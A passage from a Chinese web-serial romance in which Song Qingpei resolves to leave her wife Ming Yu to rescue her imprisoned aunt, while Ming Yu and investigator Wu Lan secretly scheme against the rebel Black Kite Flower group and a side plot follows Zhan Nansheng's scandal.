现在宋青佩根本就没心情跟她开玩笑,反应过来,忙看向李蔓道:“李军医,跟我来吧。” 两人再次以身体复查为借口,再次获得了独处的机会。 关上门后,李蔓的神色立刻变得严肃起来。 “青佩,你考虑得怎么样了?”她的声音低沉,带着几分急切,“我们没有多少时间了,你必须尽快做出决定。” 内心的挣扎让宋青佩几乎崩溃。 她死死地握着掌心,声音有些颤抖:“李蔓,你别逼我……我现在真的不知道该怎么办……” 李蔓看着她,眼中闪过一丝不忍,但很快被坚定取代。 她低声说:“我知道你很痛苦,但这是你唯一的机会,我的老师慕容暇想要亲自和你通话,她有很重要的事情要告诉你。” 听她提起慕容暇,宋青佩愣住。 她隐约也能猜出,这位传说中的黑鸢花组织负责人,大抵也是劝她离开,至于要说的话,估计也是为她那位素未谋面的总统母亲翻案,复仇的事。 说出来或许有些无情,其实她对自己的亲生父母并没有多少记忆和感情,那些所谓黑鸢花为之奋斗的目标说服不了她抛下一切离开。她关心的人始终都只有小姨,她只想知道,怎样才能将小姨救出来? 她沉默愣神的工夫,李蔓已经拿出一个小型通讯器,迅速接通了星际视频。 屏幕上,一个面容憔悴的中年女子出现在画面中。她的脸色苍白,眼神却依旧锐利,带着几分病态的虚弱。 “你好,青佩……”慕容暇的声音沙哑,带着几分疲惫和恳求,“我是慕容暇,黑鸢花的负责人,也是你母亲的旧友。我知道你现在难以接受这一切,但我必须见你一面,我有很重要的事情必须当面告诉你。” 宋青佩看着屏幕上的慕容暇,没想到这位传说中的黑鸢花负责人,竟然看上去如此虚弱。 她的声音有些诧异:“您……您还好吗?” 慕容暇苦笑了一声,声音虚弱:“我的时间不多了。青佩,我一直在等你,等你回来见我最后一面。你小姨的事情,我也一直在想办法,她是我最爱的人,我绝不会放弃她。” 宋青佩的心猛地一颤,她没想到慕容暇竟然和小姨是恋人。 她的声音忍不住颤抖:“您……您真的有办法救小姨吗?” “是的,我有办法。”慕容暇点了点头,眼神坚定:“但你必须回来见我,我们才能详细计划。青佩,你不能再犹豫了,我真的没多少时间了。” 宋青佩的内心再次陷入了挣扎。 李蔓见她依旧犹豫不决,急切地说:“后天军校建立那天,我们会派人来接你离开。这是最后的机会,你不能再犹豫了!” 想到小姨在监狱里受苦的样子,她最终咬牙:“好,我跟你们走。” 李蔓的脸上露出一丝欣喜,她迅速切断了通讯,低声说道:“记住,一定要小心,不要露出任何马脚。我们会安排好一切。” 宋青佩机械地点了点头,心里一阵酸涩。 刚才她冲动之下答应,此刻冷静下来,想到明毓和颂颂,心中的内疚如潮水般不断翻涌,更是心如刀绞。 送走李蔓,宋青佩一个人坐在客厅的沙发上发呆。 一旁的明芮看她这副失魂落魄的模样,也不好多问什么,直到接到明毓的电话,她跟宋青佩说了一声,才匆匆离开。 宋青佩继续一个人发愣。 直到颂颂欢快的笑声从门口传来,才打破这压抑的氛围。 “妈妈,我回来啦!”颂颂背着小书包,蹦蹦跳跳地跑了进来,像一只活泼的小兔子。 她看到宋青佩坐在沙发上,立刻扑进了她的怀里,亲昵地蹭着她的脸。 宋青佩回过神来,强颜欢笑地搂住颂颂,“宝贝,今天在学校开心吗?” 颂颂用力地点点头,眼睛亮晶晶的,“开心!今天老师教我们画画,我画了一幅画,要送给妈妈!” 说着,她从书包里小心翼翼地拿出一幅画,递给宋青佩。 宋青佩接过画,看到画中是她们一家三口,她和明毓牵着颂颂的手,脸上都洋溢着幸福的笑容。 她的鼻子一酸,眼眶不禁红了起来。 “妈妈,你怎么了?不喜欢我画的画吗?”颂颂察觉到宋青佩的异样,担心地问道。 宋青佩连忙摇了摇头,声音有些哽咽,“喜欢,妈妈很喜欢,宝贝画得真棒。” 颂颂被夸得小脸红红的,露出大大的小脸,高兴得不行。 接下来的时间里,宋青佩陪着颂颂玩了好久,她从来没有像今天这样有耐心,陪颂颂玩着各种幼稚的游戏,听着颂颂叽叽喳喳地说着学校里的趣事。 时间过得飞快,想抓都抓不住。 一眨眼,就快要晚上十点了,宋青佩才摸了摸颂颂的头,强忍着不舍道:“颂颂,时间不早了,该去睡觉了,妈妈去给你讲睡前故事好不好?” “好啊。”颂颂高兴地说。 宋青佩心中一阵刺痛,抱住颂颂回了房间,耐心地给她讲故事。 等到颂颂终于睡着了,宋青佩轻轻地把她放在床上,帮她盖好被子,然后静静地站在床边,看着颂颂恬静的睡脸,心中满是不舍。 她在心里默默地对颂颂说:宝贝,妈妈对不起你,但是妈妈必须去救小姨。等妈妈回来,一定会好好补偿你的。” 离开颂颂的房间后,宋青佩回到了自己的房间,坐在床边沉思。 窗外,夜色深沉,寂静得让人心里发慌。 她抬眼望向房门的方向,期盼着明毓快点回来,又害怕面对即将到来的对话。 自从慕容暇给了她一线希望之后,宋青佩的心就在不停地拉扯。 一方面,是与明毓和颂颂安稳温馨的家,她舍不得离开这来之不易的幸福;可另一方面,小姨的凄惨遭遇如同一把利刃悬在她的心尖,每念及此,揪心的疼痛便蔓延至全身,让她无法坐视不管。 她更不知道,该不该把去见慕容暇的事情告诉明毓。 她知道明毓一定会阻止她,但有了上次的教训,她又不想瞒着明毓。时间一分一秒地过去,宋青佩在房间里不停地踱步,心中矛盾那安。 直到很晚,明毓才终于回来了。 明毓打开房门,看到宋青佩还没睡,有些惊讶,“这么晚了,怎么还没睡?” 宋青佩看着明毓,张了张嘴,却不知道该说什么。 见她脸色发白,原本精神红润的脸色看上去仿佛霜打的茄子,整个人散发着一种颓废的绝望,明毓心疼不已。 “青佩,你别太担心了,你小姨的事情我会想办法的,你要照顾好自己的身体,别让我担心。”明毓拉着宋青佩躺在床上,轻轻地拍着她的后背,安抚着她。 宋青佩好几次欲言又止,但最终还是没有说出口。 似乎察觉到了她的犹豫,明毓却一反常态地没有追问,只是温柔地说:“别想太多了,先休息吧,一切都会过去的。” 她说着关上了灯,紧紧抱着宋青佩,将下巴抵在她的颈窝处蹭了蹭。 宋青佩心中有些感动,更多的是愧疚。 随着时间缓缓流逝。 宋青佩的内心越发煎熬,她双眼直勾勾地盯着天花板,脑海中不由自主地浮现出与明毓的过往,两人一路走来历经风雨,好不容易才积累的信任,让她内心天人交战。 不能再拖下去了。 终于,宋青佩深吸一口气,缓缓睁开眼睛,坐起身来。 “明毓,”她的声音带着几分颤抖,打破了寂静,“有件事,我必须跟你说。” 仿佛早有准备般,明毓也立刻跟着坐起身,打开床头灯,昏黄的灯光映照着她满是关切的面容,抱着宋青佩的姿势并没有改变。 “怎么了?” 宋青佩垂下眼帘,避开明毓的目光,手指不安地在被面上划动。 “是关于小姨的事,”她艰难开口,声音愈发沙哑,“黑鸢花组织的人找过我,她们说能帮我母亲翻案,还能救小姨……只要我跟她们去见慕容暇。” 说到这儿宋青佩顿了顿,抬眼望向明毓,眼中满是忐忑。 她看到明毓的脸色瞬间变得煞白,嘴唇微微颤抖,嘴唇张张合合,似乎想要说什么,却许久没有发出声。 一瞬间,两人的角色仿佛反转了一般。 宋青佩生怕她误会,语无伦次的解释道:“明毓,我也挣扎了好久……我不该私自作决定,更不该……丢下你和颂颂。可是……我实在没办法眼睁睁看着小姨受苦,对不起……对不起,我真的没别的办法了。” 说到后面她几乎泣不成声。 宋青佩几乎从未在明毓眼前流过泪,明毓顿时慌了。 她猛地抱住宋青佩,手臂因用力而微微颤抖,两人紧紧贴在一起,几乎可以感受到对方的呼吸。 “你不能去,这太危险了。”她的声音带着几分哽咽,透着无尽的恐慌,“我答应你,一定会想办法救小姨,你别冒险,好不*好?” 宋青佩靠在明毓怀里,试图安抚她,可自己的内心又何尝平静? “明毓,我知道你是为我好,可我要是错过这个机会,我会后悔一辈子。” “慕容暇说她有办法,我想去试一试,也想知道我母亲的事,这也是我的责任。” “我向你保证,我会小心的,一定会平安回来。” 一字字,一句句,仿佛在说服明毓,也在说服自己, 明毓双手紧紧握住她的双肩,目光直直地盯着她,眼中满是焦虑与不舍,“你这一去,万一出什么事,我怎么办?颂颂怎么办?” 宋青佩心中一阵刺痛,不敢去看明毓的眼睛,“我也舍不得你们,可我……不能放弃小姨,不然我这辈都不会心安的。” “你照顾好颂颂,等我回来好不好?” “求你了,明毓,相信我好不好?我一定会回来的。” 明毓望着宋青佩眸中的坚定,知道自己已经无法轻易改变她的决心。 她心中满是苦涩,沉默良久,最终缓缓点头,“好,我相信你。但你一定要答应我,保护好自己,早点回来。” 宋青佩眼中满是欣喜,用力地点点头,“我答应你。” “谢谢你,明毓,真的谢谢你!” 她从未对明毓有过如此感激,这一刻,曾经对她的所有伤害都被抚平,内心的颤动让她无法抑制,她似乎在这一刻真正地重新爱上了明毓。 而明毓再次将宋青佩拥入怀中,仿佛要用尽全力留住她。 “青佩,你能不能陪我参加完军校的开幕式再走?这对我意义重大,我希望你能在我身边。” 想到明毓为军校付出的心血,想到两人一路走来的不易,宋青佩终是点头答应,“好,我陪你。” “青佩……” 明毓的手掌紧紧捧住宋青佩的脸颊,指尖微微颤抖,目光深邃而炽热,带着无法言说的复杂情感,像是要将宋青佩的模样刻进心底。 宋青佩的呼吸微微一滞,还未等她反应过来,明毓的唇已经压了上来。 这个吻带着前所未有的激烈与占有,仿佛要将所有的情感都倾注其中。明毓的唇瓣紧紧贴着宋青佩的,舌尖撬开她的齿关,深入她的口腔,贪婪地汲取她的气息。 宋青佩被明毓的情绪感染,主动扣住她的后脑,回应着她的热情。 两人的呼吸交织在一起,急促而凌乱,仿佛要将彼此的灵魂融入对方。明毓的手从宋青佩的脸颊滑到她的后颈,用力将她拉近,两人的身体紧紧贴在一起,几乎不留一丝缝隙。 这个吻持续了很久,直到两人都几乎喘不过气来,才稍稍分开。 明毓的额头抵着宋青佩的,呼吸依旧急促,眼神却愈发深沉。 她的手指轻轻抚过宋青佩的唇瓣,声音低哑而颤抖:“青佩,别……别离开我。” 宋青佩的心猛地一颤,眼眶瞬间湿润。 她伸手抚上明毓的脸颊,指尖触碰到她微凉的肌肤,心中涌起一阵酸涩,她知道自己的决定对她来说有多残忍。 可她……别无选择。 “明毓……”她的声音哽咽,满是愧疚与不舍,“对不起……我答应你,我一定会尽快回来的。” 明毓没有再说话,只是将她紧紧搂入怀中,她的手臂用力到几乎让宋青佩感到疼痛,可她没有挣扎,只是静静感受着她身上熟悉的气息。 许久,两人的呼吸渐渐平复,疲惫感如潮水般涌来。 宋青佩靠在明毓的胸口,听着她沉稳的心跳声,眼皮渐渐沉重,接连的疲惫和紧绷感,似乎终于在这一刻得到了放松。 明毓轻轻抚摸着她的发丝,眼神却愈发幽深。 她低头看着怀中渐渐入睡的宋青佩,眼中的占有欲与决绝几乎要溢出来,她的手指轻轻划过宋青佩的脸颊,低声呢喃: “青佩,我绝不会让你离开我和颂颂。” 第62章 孩子是谁的? 宋青佩是第二天醒来,感觉到不对劲的。 她翻身坐起,身上盖着的被子还带着明毓残留的淡淡气息,单手撑着下巴,不禁陷入沉思。这两天,明毓因军校事务繁忙,每日天不亮就出门了。这本没什么稀奇,可放在当下,却处处透着不对劲。 昨晚,她还沉浸在明毓理解并答应她离开的喜悦之中,压根没细想其中的蹊跷,现在冷静下来,诸多疑点纷至沓来。 明毓答应得太过干脆,今早走得又如此利落,仿佛她的离去于她而言,不过是一件稀松平常的事。 不是她自恋,以明毓如今对她的感情和那强烈的占有欲,这绝不是她的行事风格,这般善解人意,实在与上将大人平日里的作风大相径庭。 把她关起来……似乎才更符合她的脾性。 宋青佩越想越不安,明毓究竟在盘算什么? 难道她察觉了李蔓的身份? 仔细回想,昨晚提及黑鸢花组织的人来找她时,明毓的关注点似乎全在她要离开这件事上,对究竟是谁找的她,竟没有表现出丝毫好奇。如此一梳理,情况愈发不妙,明毓显然在她身份暴露之后,就开始谋划布局了。 她满心焦虑,脑子乱成一团麻,实在猜不透明毓的心思。 就在这时,她突然记起明毓曾说过,当初乌澜抓捕慕容瑞雪却放过她,是因为两人有交易。仿若终于找到了一丝头绪,宋青佩匆忙起身,简单收拾了一下,便下楼准备去找乌澜问个清楚。 她可不想再这么糊里糊涂下去,跟个傻子似的被蒙在鼓里。 宋青佩刚下楼,就瞧见明芮一如既往地在大厅坐着。 见她下来,明芮立刻热情地打招呼:“青佩姐,早啊,吃饭了吗?” 她又怎会看不出来,这殷勤背后的“监视”意味。不过她也理解,明毓是担心她做出什么出格的事。此刻,她满心忧虑的是明毓的计划,相较之下,明芮这点“小心思”倒不算什么了。 宋青佩没心情理会明芮,径直朝门口走去。 刚迈两步,明芮赶忙迎上去,笑嘻嘻地问:“青佩姐,一大早的,你这是干嘛去?” 她也懒得装了,紧紧盯着明芮问:“明芮,你老实交代,是不是你表姐让你来监视我的?” 明芮正听到这话,差点被呛到,连忙摆手,陪着笑脸说道:“青佩姐,你这说的什么话?我这不是担心你嘛!表姐说你最近心情不好,让我多陪陪你,免得你一个人胡思乱想。” 宋青佩挑了挑眉,故意拖长音调:“哦——是吗?那我现在心情好得很,想出门逛逛,你是不是也得跟着?” 明芮一听,立马从沙发上蹦起来,笑嘻嘻地说:“那正好,我陪你呗!反正我也没事干,咱俩一起去逛街,顺便吃个火锅怎么样?” 见她这厚脸皮的模样,宋青佩无语:“你啊,少来这套!我可不信你表姐没交代你什么。” “哎呀,青佩姐,你怎么能这么想我呢?”明芮眨了眨眼睛,一脸无辜:“我可是真心实意来陪你的!再说了,表姐那么忙,哪有空管这些小事?” 宋青佩懒得再跟她斗嘴,直接掏出通讯器,拨通了明毓的号码。 接通,明毓的声音带着几分疲惫,却依旧温柔:“青佩,怎么了?” 她直接单刀直入,“明毓,你是不是让明芮来监视我了?我现在连门都不能出了吗?” “哪有的事?”我明毓顿了一下,随即笑道:“只是让明芮多陪陪你,怕你一个人胡思乱想。” “那我要是想出门呢?”宋青佩继续追问。 明毓沉默片刻,无奈地说:“你想去哪?” 宋青佩想到自己的猜测,故意说:“我去找乌澜。” 电话那头明显停顿了一下,声音有些迟疑:“乌澜?你找她做什么?” 宋青佩听出了她语气中的一丝紧张,心中暗惊,嘴上却依旧轻松:“没什么事,就是去看看她,毕竟她为了救我伤得这么重,也没有好好谢谢她。” “你放心,我有分寸,不会乱来的。” 仿佛怕明毓不放心,她又补了一句。 明毓并不想打击她刚恢复的精神,无奈地叹了口气:“好,你去吧。要早点回来。” 挂断电话后,宋青佩若有所指地冲明芮扬了扬下巴:“听到没?你表姐同意了,你不用再跟着我了。” 明芮撇了撇嘴,嘟囔道:“青佩姐,你这就把我抛弃了?太无情了吧!” “少来,我看你巴不得赶紧走吧。”宋青佩笑着戳穿她的小心思。 见状,明芮索性也不装了,露出一副打工人终于下班的解脱,兴奋地挥了挥手。 “拜,青佩姐,改天一起吃火锅啊。” 看着她迫不及待离开的背影,宋青佩哭笑不得。 说完,她转身出门,拨通了乌澜的号码。 电话那头,乌澜的声音依旧透着股慵懒劲儿,却又让人捉摸不透:“青佩,怎么想起来给我打电话了?” 一声比较亲密的称呼,仿佛顷刻间拉近了两人的关系。 宋青佩想到之前乌澜为她挡枪的模样,心头涌上了一抹愧疚,原本想问的话倒是不好直接开口了,不由客气了两句。 “乌……乌澜,你的伤口好得怎么样了?现在方不方便?我想去看看你。” “难为你还想着我。”乌澜笑了笑,调侃道:“我在医院复查呢,你要是没事的话,可以过来找我,正好陪我解解闷儿。” “好,我现在就过去。” 宋青佩没有犹豫,直接开车前往医院。 到达医院后,她礼节性地买了些东西,按照乌澜给的地址找到了她的病房。 推开门的瞬间,她差点被眼前的场景惊得退出去。 只见乌澜半靠在病床上,战南笙则坐在床边,一只手放肆地搭在乌澜的肩膀上,另一只手轻轻抚摸着她的脸颊,两人的距离近得几乎能感受到彼此的呼吸,气氛暧昧得让人脸红心跳。 隐约还能听到两人似乎在说话,说着‘孩子’什么的。 宋青佩的脑子有片刻的蒙圈,之前她隐约可以看出来,乌澜跟战南笙应该关系匪浅,这时候又无意中听到什么孩子,脑子不由自动联想起来 难道乌澜怀孕了? 一时间,被迫吃了个大瓜的宋青佩站在门口,进也不是,退也不是,尴尬得恨不得找个地缝钻进去。 她正犹豫着,要不先避一避,一会再来。 转头正想走,乌澜抬眸间已经看到了她,很是自然道:“青佩,你来了。” 被点名的宋青佩,干咳了一声,试图打破这尴尬的气氛: “那个……我是不是来得不是时候?” 战南笙听到声音,猛地转过头,看到是宋青佩,脸色瞬间阴沉下来,毫不客气地瞪了她一眼,语气里满是嫌弃:“你来干什么?” 宋青佩: 算了,忍了,她确实来得不是时候,正好撞到枪口上。 乌澜倒是神色如常,轻轻推了推战南笙,说:“大小姐,请先出去吧,我和青佩聊点事。” 战南笙显然不情愿,但看到乌澜的眼神,只能不情不愿地站起身。 那件事,确实是她理亏,她也没想到事情会变成这样。 她神色懊恼,走到宋青佩身边时,故意用肩膀撞了她一下,低声警告:“别想着搬弄是非,落井下石。” 宋青佩被撞得一个踉跄,心里暗暗翻了个白眼,简直莫名其妙,她根本就没听懂什么意思,但脸上依旧保持着礼貌的微笑。 直到战南笙离开,甚至故意没关门。 她跟乌澜对视一眼,乌澜用眼神暗示她看向门口,愣了一瞬,宋青佩反应过来,转身去关门。 刚走到门前,就听到一声重重的哼声和急促离开的脚步声。 她不由愣了一下,嗐,敢情刚才没走,看架势好像还准备偷听。只能说,乌澜对战南笙还是了解,这些小动作根本瞒不了她。 宋青佩关上了门,看向乌澜,语气中带着歉意和关切:“复查怎么样?恢复得还好吧?” “没什么事,就是例行检查。”乌澜漫不经心地笑了笑:“倒是你,突然来找我,是有什么事吧?” 宋青佩有些不好意思地移开了视线,神色局促。 以乌澜的身份,她想问的问题怕是都涉及涉嫌泄密,人家还为了救她伤成这样,一时间,完全开不来口。 许久,她才憋出一句,“……没事,就是来看看你。” 乌澜扑哧一下笑出声来,“青佩,你可不怎么会撒谎。” 她这样的直白,宋青佩顿时搞了个大红脸,羞惭不已。 见状,乌澜没再继续逗她,笑道:“跟你开玩笑的,别紧张,想问什么就问吧。能告诉你的知无不言,不能说的……自然也不会告诉你的。” 宋青佩神色放松了一些:“我想问你,关于……慕容瑞雪,她现在的情况怎么样了?” 乌澜的表情微微一凝,但很快恢复了平静,“慕容瑞雪的案子还在审理中,目前她人是安全的,这一点你可以放心。不过,具体的细节我不能透露太多,毕竟这涉及到调查局的机密。” 宋青佩皱了皱眉:“那……关于她的审讯,有没有什么进展?” “这些信息我不能透露。”乌澜摇头道:“慕容瑞雪的案子牵扯到一些敏感内容,调查局有严格的规定,我可不能因为朋友就违反纪律,你说是吧?” “谢谢,我明白了。” 宋青佩识趣地没再继续追问,小声感叹了一句:“希望她能平安无事吧,毕竟她曾经也帮过我。” 闻言,乌澜看了她一眼,似笑非笑道:“青佩,你的心情我能理解,但慕容瑞雪的案子不是能随便插手的。我建议你,与其担心她,不如多关心一下自己的处境。” “我的处境?”宋青佩愣了一下,心中隐隐感到不安,“你这话是什么意思?” 乌澜没有立刻回答,而是沉默了几秒,似乎在权衡什么。 过了一会儿,她才缓缓开口:“青佩,有些事情我不能说太多。但作为朋友,我想提醒你一句——这世上除了自己,任何人都不可全信。即便是你最亲近的人,也可能有你不知道的一面。” 宋青佩的心猛地一沉,脑海中闪过明毓的身影。 她努力让自己冷静下来,继续问:“乌澜,你是不是知道些什么?关于明毓,或者关于我?” “抱歉,我只能言尽于此。”乌澜笑了笑,“你能多留个心眼吧,别太轻易相信别人,省得哪天被卖了还帮人家数钱呢。” 宋青佩的心跳加快了几分,心中的不安愈发强烈。 她看着乌澜,试图从她的表情中看出些什么,但乌澜的脸上只有平静和淡然,仿佛刚才的话只是随口一提。 病房里陷入了短暂的沉默,空气中弥漫着一股压抑的气息。 宋青佩努力让自己冷静下来,她知道,从乌澜这里恐怕得不到更多的信息了。 “谢谢你,乌局长。”她站起身,语气中带着几分感激,“不管怎样,你的提醒我会记住的。” 乌澜点了点头,脸上重新浮现出温和的笑容:“不用客气。宋小姐,如果你还有什么需要帮忙的,随时可以来找我。” “好,你好好休息,我先走了。” 宋青佩勉强笑了笑,心事重重地离开了病房。 乌澜的话像一根刺,深深扎在她的心里,让她越发怀疑,明毓,怕是真的在背着她做什么,而答应让她离开,可能也只是为了先稳住她而已。 她失魂落魄地在走廊,一个熟悉的身影从她身边快步走过,带起一阵冷风。 宋青佩抬头一看,正是战南笙。 她的脸色阴沉,眼神中带着明显的敌意。走到宋青佩面前时,她突然停下脚步,冷冷地说道:“宋青佩,我警告你,离乌澜远一点。” 宋青佩愣了一下,随即皱起眉头:“战小姐,你这是什么意思?” 战南笙冷笑了一声,语气中满是嘲讽:“别装傻了,乌澜是我的,你最好别打她的主意。否则,别怪我不客气。” 宋青佩被她的态度激得有些恼火,但想到乌澜刚才的提醒,还是压下了心中的怒气,淡淡地说:“战小姐,你误会了。我来找乌局长,只是为了公事,没有别的意思。” “公事?”战南笙显然不信,眼神中带着几分讥讽,“你以为我会信?宋青佩,我不管你和明毓是什么关系,但乌澜不是你能碰的人。离她远点,否则,后果自负。” 战南笙推门而入,脸上带着明显的醋意,眼神里满是火气。 她几步走到乌澜的病床前,双手抱胸,下巴微微扬起,带着几分傲娇地说:“乌局长,刚才跟宋青佩说话的时候,温柔得都能滴出水来了吧?怎么,对我就是冷冰冰的,对她倒是热情得很?” 乌澜抬眼看了她一眼,神情冷淡,“大小姐,你闲得没事上赶着到我这儿来发什么疯?我跟谁说话,用什么态度,还得向你报备不成?” 战南笙被她的话噎了一下,脸色更加难看。 她咬了咬牙,语气里带着几分委屈和愤怒:“乌澜,你别装傻!网上的事情都是假的!你凭什么不信我?” 乌澜依旧面无表情,语气淡淡的:“跟我有关系吗?” “跟你没关系?”战南笙气得瞪大眼睛,声音也拔高了几分,“要不是你气我,我怎么会喝醉?要不是你,我怎么会被人赖上?要不是你,我家里怎么会逼着我和秦家联姻?” 乌澜被气笑了。 “大小姐,你喝醉是你自己的事,被人赖上也是你自己的事。至于联姻,那是你们战家和秦家的事,跟我有什么关系?” 战南笙被她这副事不关己的态度气得浑身发抖,她猛地往前一步,伸手抓住乌澜的衣领,咬牙切齿地说:“乌澜,你别以为我不知道你在想什么!你明明知道我对你……你凭什么这么对我?” 乌澜被她突如其来的动作弄得一愣,随即眼神冷了下来。 她抬手握住战南笙的手腕,用力一掰,轻松挣脱了她的钳制,带着几分警告:“大小姐,别在我这儿撒野。” 战南笙被她甩开,踉跄了一下,站稳后脸色更加难看。 她咬了咬牙,语气里带着几分威胁:“乌澜,你别逼我!你要是不帮我解决这件事,我就把我们俩的事告诉我父亲!到时候,我看你怎么收场!” 乌澜听到这话,眉头微微一挑,眼神里闪过一丝玩味。 她打开光脑,屏幕投射出的赫然是热搜头条—— #秦霜与总统之女战南笙深夜同入酒店# 配图是秦霜扶着醉醺醺的战南笙走进酒店的背影,照片拍得模糊,但足以让人认出两人的身份。 乌澜懒洋洋地靠在病床上,嘴角勾起一抹诡谲的笑:“哟,这秦大影后不长得挺漂亮吗?鼎鼎有名的秦家掌上明珠,又是娱乐圈的顶流,大小姐,你这可是赚了啊。” “乌澜!你少在这儿阴阳怪气!”战南笙被她的话气得脸色发青,愤怒的解释:“我都说了,那天我喝醉了,什么都不记得了!谁知道她是怎么进的我的房间,还被人拍到这种照片!” 乌澜挑了挑眉,语气依旧轻飘飘的:“哦?是吗?那秦霜肚子里的孩子又是怎么回事?听说秦家已经放出风声,要和你家联姻了。娶一送一,无痛当妈,这不是挺好的吗?” “你!”战南笙猛地一拍病床旁的桌子,咬牙切齿,“你别在这儿说风凉话!我根本不知道她肚子里那孩子是谁的!你赶紧帮我查清楚,到底是谁在背后搞鬼!” 乌澜耸了耸肩,漫不经心道:“大小姐,你总是要联姻的。战家和秦家联姻,不是挺好的吗?门当户对,强强联合。” 战南笙被她的话噎得一时语塞,脸色涨得通红。 她咬了咬牙,声音里满是愤怒:“我告诉你,我绝不会吃这个哑巴亏!更不会答应什么联姻!你赶紧帮我把这件事解决了,军校马上建立,我不想到时候被人指指点点,听到没有?” 看着她气急败坏的样子,乌澜忽然凑近了她,嘴角勾起一抹淡淡的笑意,“那大小姐想让我怎么解决?我娶你怎么样?” 战南笙被她突如其来的话弄得一愣,脸瞬间红了,声音有些结巴:“你……你胡说什么?” 乌澜直接伸手拉过她,将她拉到自己面前,手指轻轻抚过她的脸颊,语气里带着几分戏谑:“怎么,你不是一直想让我负责吗?现在我主动提出来了,你反倒不敢了?” 战南笙被她逗得浑身发软,心跳加速,脸颊红得像是要滴出血来。 她咬了咬唇,声音低得几乎听不见:“你……你疯了……” 乌澜轻笑了一声,扶着她的腰,“大小姐,你主动点,我高兴了,说不定就真的冒死去找你父亲坦白,求婚了。” 战南笙被她弄得心神荡漾,整个人都软了下来。 她咬了咬唇,声音里带着几分羞恼:“你……你别得意,现在外面都因为你是Omega,要娶也是我娶你了……” “没关系,我不在意这些虚名。”乌澜掐着她的腰,指尖顺着尾椎慢慢往下,凑近她耳边低笑道:“只要……大小姐愿意在床上被我压就行。” “你……你闭嘴!” 战南笙从乌澜怀里挣脱出来,气得要打她。 乌澜忍不住轻笑了一声,语气里带着几分调侃:“大小姐,你这变脸的速度,还真是快啊。” 战南笙瞪了她一眼,语气里带着几分恼羞成怒:“你少得意!赶紧帮我把这件事查清楚,我……我先走了!” 说完,她转身快步离开了病房,背影显得有些慌乱。 乌澜看着她的背影,嘴角的笑意渐渐淡了下来。 她靠在床头,眼神里带着几分复杂,低声喃喃:“战南笙,你到底想干什么呢……” 第63章 抵死缠绵 军部大楼的会议室里,气氛肃穆而紧张。 明毓坐在长桌的首位,目光冷峻地扫视着在座的各位高级军官,她的手指轻轻敲击着桌面,发出有节奏的声响,仿佛在提醒众人时间的紧迫。 “明天建校,是我们军部近年来最重要的事情。”明毓的声音低沉而有力,带着不容置疑的威严,“任何细节都不能出错。尤其是安保工作必须做到滴水不漏,绝不能有任何疏漏。” 她的话音刚落,负责安保的军官立刻站起身,恭敬地回应:“明上将放心,我们已经安排了最精锐的人员负责现场安保,所有入场人员都会经过严格的身份核查。” 明毓点了点头,目光转向另一侧:“其他安排呢?” 负责人立刻翻开手中的文件,一一详细汇报。 会议持续了近两个小时,明毓逐一听取了各部门的汇报,并对每一个细节都提出了严格的要求,她的严谨让在座的军官们不敢有丝毫懈怠。 就连原本十分看不惯她的站南笙,也没再代入任何私人情绪。 会议结束后,明毓站起身,整理了一下军装,准备离开会议室。 然而,她刚走出门口,战南笙便快步跟了上来。 “明上将,留步。” 明毓停下脚步,转过身看向她:“战中将,有事?” 战南笙看向她,语气中带着几分不满:“明毓,宋青佩最近频繁去找乌澜,我希望你能够提醒她注意些分寸。” “战中将,你这是什么意思?”明毓眼神一冷。 战南笙不悦道:“我只是提醒你,乌澜马上就要成为我的未婚妻,宋青佩这样频繁接触她,难免会引起不必要的误会。” 闻言,明毓仿佛听到什么笑话般,轻嗤一声:“战中将,你还是先管好自己吧。你和秦霜的‘丑闻’闹得沸沸扬扬,希望不要影响到工作。” 被戳到痛处的战南笙,脸色瞬间变得铁青,声音中带着明显怒意。 “明毓,你别太过分!那些都是私事,不会影响到军校!” “私事?”明毓毫不客气地戳穿她,冷冷道:“战中将,你的私事已经闹得人尽皆知了,如果你连自己的事情都处理不好,又有什么资格来管别人?” 战南笙被明毓的话噎得一时语塞,脸色涨得通红。 她咬了咬牙,声音中带着几分不甘:“明毓,我是好心提醒你。乌澜和宋青佩的关系绝对不清白,你就不怕……” “够了!”明忍无可忍的打断她的话,冷声道:“战南笙,我警告你,不要多管闲事。宋青佩是我的妻子,我相信她,轮不到你来指手画脚。” 说完,明毓不再理会战南笙,转身大步离开。 只留下战南笙站在原地,脸色阴沉得可怕。 回到办公室后,明毓关上门,深吸了一口气,努力平复心中的怒火。 片刻后,她拿起通讯器,拨通了乌澜的号码。 单刀直入:“青佩去找你了?” 乌澜笑了笑,坦然承认,“是的,明上将消息真灵通。” 明毓暗含讥笑,“不是我消息灵通,是你的女朋友醋性够大,已经跑到我跟前警告,管好自己的妻子。” 听到‘女朋友’三个字,乌澜似乎有些发蒙。 许久,她才反应过来,“战南笙去找你了?” “乌局长,希望你能把自己私事解决好,别影响我们的工作。” 乌澜难得被明毓怼得哑口无言。 明毓懒得因为这种破事跟她废话,直接道:“乌局长,我们的计划进展得如何?” “已经都安排好了。” 乌澜说着,话锋一转,“明上将,我这么尽心尽力地为你办事,你总得有点诚意吧?星际航线图什么时候给我?” 明毓的眉头皱起,“乌局长,事情还没办完,报酬要得未免也太早了吧。” “明上将,我这也是为了你好。”乌澜的声音依旧轻松,说出的话却暗含威胁:“黑鸢花组织的人可不是那么好对付的,没有足够的筹码,我可不敢保证能一举将他们一网打尽。” 明毓警告道:“乌澜,我希望你明白,我们的合作是建立在互信互惠基础上的。如果你敢耍什么花样,后果自负。” “你放心,我对黑鸢花组织的人也没什么好感。” 乌澜笑了笑,语气中带着几分玩味:“不过,我倒是有点担心,宋青佩似乎已经开始怀疑你了。如果她知道真相,会怎么做呢?” 听她提起宋青佩,明毓的心猛地一沉,手指紧紧攥住通讯器。 “这是我的事情,不需要你操心。你只需要做好你该做的事情,那份星际航线图我会给你的。” 明毓说完,直接挂断了通讯器。 她站在窗前,眼中闪过一丝动摇,但是很快就恢复了坚定。 —— 宋青佩离开医院后,心情愈发沉重。 乌澜的话像一根刺,深深扎在她的心里,挥之不去。虽然她相信明毓不会伤害她,但以明毓的性格,为了留下她,难保不会做出一些偏激的事。 她很想问问明毓,可想到明天就是军校成立的日子,她一定非常忙碌,不适合在这个时候分心。思虑再三,宋青佩还是决定等明毓回家后,再好好跟她谈一谈。 虽然知道从明毓口中问出真相的希望渺茫,但她还是想试一试。 回到家后,宋青佩一个人坐在客厅的沙发上,努力梳理着今天得到的信息。她试图从这些零碎的线索中拼凑出一个完整的真相,但越想越觉得混乱。就在这时,她的通讯器突然响了起来。 宋青佩低头一看,是李蔓的号码。 